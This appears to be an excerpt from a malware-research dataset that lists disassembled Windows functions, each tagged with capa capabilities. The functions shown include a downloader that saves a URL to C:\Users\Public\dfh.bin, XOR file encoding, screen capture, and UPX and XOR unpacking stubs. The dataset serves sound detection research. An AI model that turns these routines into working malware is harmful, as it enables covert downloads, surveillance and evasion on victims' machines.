joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4111e6
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x424040]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x411231
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00411381
test al, al
jne 0x41122b
sub edx, 2
cmp edx, edi
jne 0x411211
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x411253
lea eax, [edi + 2]
cmp edx, eax
je 0x411253
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00411132
add esp, 0x10
jmp 0x41134d
push esi
lea ecx, [ebp - 0x255]
call fcn.00411381
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x411296
push dword [ebp - 0x25c]
jmp 0x411243
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4112d3
cmp word [ebp - 0x226], 0
je 0x4112f4
cmp word [ebp - 0x226], ax
jne 0x4112d3
cmp word [ebp - 0x224], 0
je 0x4112f4
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00411132
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x411340
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4112ad
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x411328
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x41134d
push 0x410f62
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00414ea0
add esp, 0x10
jmp 0x41131d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040279b
leave
ret
Function at 0x418b60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x418b8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x418b8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x406952
Capabilities:
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x18], 0
cmp dword [ebp + 8], 0
je 0x406971
cmp dword [ebp + 0xc], 0
je 0x406971
cmp dword [ebp + 0x10], 0
jne 0x406979
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp + 8]
push eax
call fcn.00406939
add esp, 4
test eax, eax
jne 0x406991
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov ecx, dword [ebp + 0x10]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
mov dword [ebp - 0x10], eax
push 0x43b5e8
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0xc], eax
push 0x43b5ec
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
and edx, 0x10
test edx, edx
jne 0x406a36
mov eax, dword [ebp - 0xc]
push eax
push 1
push 1
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0xc]
and eax, 0x10
test eax, eax
jne 0x406a34
mov eax, dword [ebp - 0x18]
cdq
idiv dword [ebp - 0x10]
mov ecx, dword [ebp + 0x10]
mov dl, byte [ecx + edx]
mov byte [ebp - 4], dl
movsx eax, byte [ebp - 0x14]
movsx ecx, byte [ebp - 4]
xor eax, ecx
mov byte [ebp - 0x14], al
mov edx, dword [ebp - 8]
push edx
push 1
push 1
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
jmp 0x4069ca
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov esp, ebp
pop ebp
ret

Function at 0x406a54
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406a75
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x406a75
xor eax, eax
jmp 0x406a7a
mov eax, 1
pop ebp
ret
Function at 0x406a7c
Capabilities:
Check internet connectivity via wininet
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
test eax, eax
jne 0x406ab4
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor al, al
jmp 0x406b84
push 0x2f
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x406ae0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor al, al
jmp 0x406b84
push 0
push 1
push str.https:__www.qq.com
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x406b00
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406ae0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
push str.C:UsersPublicdfh.bin
mov edx, dword [ebp + 8]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x406b4b
push str.C:UsersPublicdfh.bin
call fcn.00406a54
add esp, 4
test eax, eax
jne 0x406b49
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor al, al
jmp 0x406b84
jmp 0x406b5c
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor al, al
jmp 0x406b84
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
push 0x2e
push str.C:UsersPublicdfh.bin
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x406b84
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x4098d4
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
mov dword [ebp - 0x140], ecx
push 0x43f11c
mov eax, dword [ebp + 0xc]
push eax
call fcn.0041cd10
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x409904
xor eax, eax
jmp 0x409a03
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.0041cef3
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409930
mov eax, dword [ebp - 4]
push eax
call fcn.0041cf52
add esp, 4
xor eax, eax
jmp 0x409a03
lea ecx, [ebp - 0x134]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 4]
push edx
call fcn.0041cd44
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x409961
mov eax, dword [ebp - 4]
push eax
call fcn.0041cf52
add esp, 4
xor eax, eax
jmp 0x409a03
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x138], 0
jmp 0x409988
mov edx, dword [ebp - 0x138]
add edx, 1
mov dword [ebp - 0x138], edx
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x13c]
jge 0x4099e8
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x138]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.0041cd44
add esp, 0xc
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x138]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.0041ceb7
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4099e6
mov ecx, dword [ebp - 4]
push ecx
call fcn.0041cf52
add esp, 4
xor eax, eax
jmp 0x409a03
jmp 0x409979
mov edx, dword [ebp - 4]
push edx
call fcn.0041cf52
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x40a28d
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40a364
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40a358
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0xc]
sub eax, dword [edx + 4]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 8]
sub eax, dword [edx]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40a34e
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [ebp - 0x10], eax
push 0xcc0020
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 0xc]
sub edx, dword [ecx + 4]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [eax + 8]
sub edx, dword [ecx]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.GDI32.dll_SelectObject]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4
Function at 0x4189b3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x4189c3
xor eax, eax
jmp 0x418b8c
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x418b44
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x433394]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x433394]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x433394]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x433394]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x433394]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x433394]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x433394]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
xor eax, edx
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
mov edx, dword [eax*4 + 0x433394]
xor edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
sub ecx, 8
mov dword [ebp + 0x10], ecx
jmp 0x4189cc
cmp dword [ebp + 0x10], 0
je 0x418b86
mov edx, dword [ebp + 0xc]
xor eax, eax
mov al, byte [edx]
mov ecx, dword [ebp + 8]
xor ecx, eax
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
mov eax, dword [ecx*4 + 0x433394]
xor eax, edx
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
cmp dword [ebp + 0x10], 0
jne 0x418b4a
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x418b8e
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
movsx eax, byte [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
xor edx, eax
and edx, 0xff
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
shr ecx, 8
mov edx, dword [edx*4 + 0x433394]
xor edx, ecx
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
and edx, 0xff
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
add ecx, edx
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
imul ecx, ecx, 0x8088405
add ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + 4], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
shr ecx, 0x18
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
xor eax, ecx
and eax, 0xff
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
shr edx, 8
mov eax, dword [eax*4 + 0x433394]
xor eax, edx
mov ecx, dword [ebp + 8]
mov dword [ecx + 8], eax
pop ebp
ret

Function at 0x419b42
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
imul eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x14]
xor edx, edx
mov dl, byte [ecx]
test edx, edx
je 0x419b92
push 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x419b88
mov edx, dword [ebp + 0x14]
mov byte [edx + 8], 1
mov eax, dword [ebp - 0x10]
xor edx, edx
div dword [ebp + 0xc]
jmp 0x419bec
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 8]
mov edx, dword [ebp + 0x14]
cmp ecx, dword [edx + 0x18]
jbe 0x419bb2
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
mov edx, dword [eax + 0x18]
sub edx, dword [ecx + 0x1c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0x14]
mov eax, dword [ebp + 0x14]
add edx, dword [eax + 0x1c]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0x1c]
add ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0x1c], ecx
mov eax, dword [ebp - 4]
xor edx, edx
div dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41b5c6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x41b5e0
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 4], 0xffffffff
je 0x41b5ea
mov eax, 0x1000000
jmp 0x41b6c7
mov edx, dword [ebp - 0x18]
add edx, 0x140
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, dword [ebp - 0x18]
add eax, 0x140
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx + eax + 0x13f]
mov byte [ebp - 0xc], dl
movsx eax, byte [ebp - 0xc]
cmp eax, 0x5c
je 0x41b646
movsx ecx, byte [ebp - 0xc]
cmp ecx, 0x2f
je 0x41b646
push 0x43d478
mov edx, dword [ebp - 0x18]
add edx, 0x140
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
cmp dword [ebp + 0x10], 1
jne 0x41b67f
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x14], eax
xor ecx, ecx
cmp dword [ebp - 0x14], 0xffffffff
setne cl
mov byte [ebp - 0x10], cl
mov edx, dword [ebp - 0x10]
and edx, 0xff
test edx, edx
jne 0x41b67f
mov eax, 0x2000000
jmp 0x41b6c7
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00419841
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x41b6a5
mov eax, dword [ebp - 4]
jmp 0x41b6c7
mov ecx, dword [ebp - 8]
push ecx
call fcn.00419fc6
add esp, 4
mov edx, dword [ebp - 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
jne 0x41b6c5
mov eax, 0x200
jmp 0x41b6c7
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x41c143
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
cmp dword [ebp + 8], 0
je 0x41c16d
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41c16d
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edx, dword [ebp + 0xc]
movsx eax, byte [edx]
test eax, eax
jne 0x41c17c
jmp 0x41c27d
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0x10c]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
movsx ecx, byte [eax]
test ecx, ecx
je 0x41c1c2
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
cmp eax, 0x2f
je 0x41c1ae
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
cmp edx, 0x5c
jne 0x41c1b7
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x41c18e
mov edx, dword [ebp - 0x10c]
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp + 0xc]
je 0x41c229
mov ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp + 0xc]
mov byte [ebp + ecx - 0x214], 0
lea edx, [ebp - 0x214]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0041c143
add esp, 8
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
mov byte [ebp - 0x108], 0
cmp dword [ebp + 8], 0
je 0x41c249
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41c27d
push 0
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esp, ebp
pop ebp
ret
Function at 0x7f5650
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9a000]
push edi
or ebp, 0xffffffff
jmp 0x7f5672
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7f5679
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7f5668
mov eax, 1
add ebx, ebx
jne 0x7f568b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7f569c
jne 0x7f56bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7f56bb
dec eax
add ebx, ebx
jne 0x7f56a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7f5680
add ebx, ebx
jne 0x7f56b7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7f570d
xor ecx, ecx
sub eax, 3
jb 0x7f56d3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7f5742
sar eax, 1
mov ebp, eax
jmp 0x7f56de
add ebx, ebx
jne 0x7f56de
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7f56ac
inc ecx
add ebx, ebx
jne 0x7f56ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7f56ac
add ebx, ebx
jne 0x7f56f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7f56ee
jne 0x7f570a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7f56ee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7f572c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7f571e
jmp 0x7f566e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7f572c
add edi, ecx
jmp 0x7f566e
pop esi
mov edi, esi
mov ecx, 0x3665
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7f574a
cmp byte [edi], 0x12
jne 0x7f574a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7f574f
lea edi, [esi + 0x3f1000]
mov eax, dword [edi]
or eax, eax
je 0x7f57c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3f54ac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3f5618]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7f577c
mov ecx, edi
jns 0x7f57ab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3f5620]
or eax, eax
je 0x7f57c1
mov dword [ebx], eax
add ebx, 4
jmp 0x7f5799
call dword [esi + 0x3f561c]
mov ebp, dword [esi + 0x3f5624]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7f57fb
sub esp, 0xffffff80
jmp 0x472582
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40de38
mov ecx, 0x3a65a49
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x37053290
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x44b610
Capabilities:
Accept command line arguments

Disassembly:
mov ecx, dword [sym.imp.KERNEL32.dll_RaiseException]
mov al, 2
mov byte [0x663200], al
mov byte [0xa656e4], al
mov eax, 0xd7b0
push esi
mov dword [0x663218], ecx
mov word [0xa6573c], ax
mov word [0xa6573e], ax
mov word [0x663614], ax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x663248], eax
call esi
and eax, 0x80000000
cmp eax, 0x80000000
je 0x44b665
call esi
cmp al, 4
ja 0x44b66b
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x663244], eax
pop esi
ret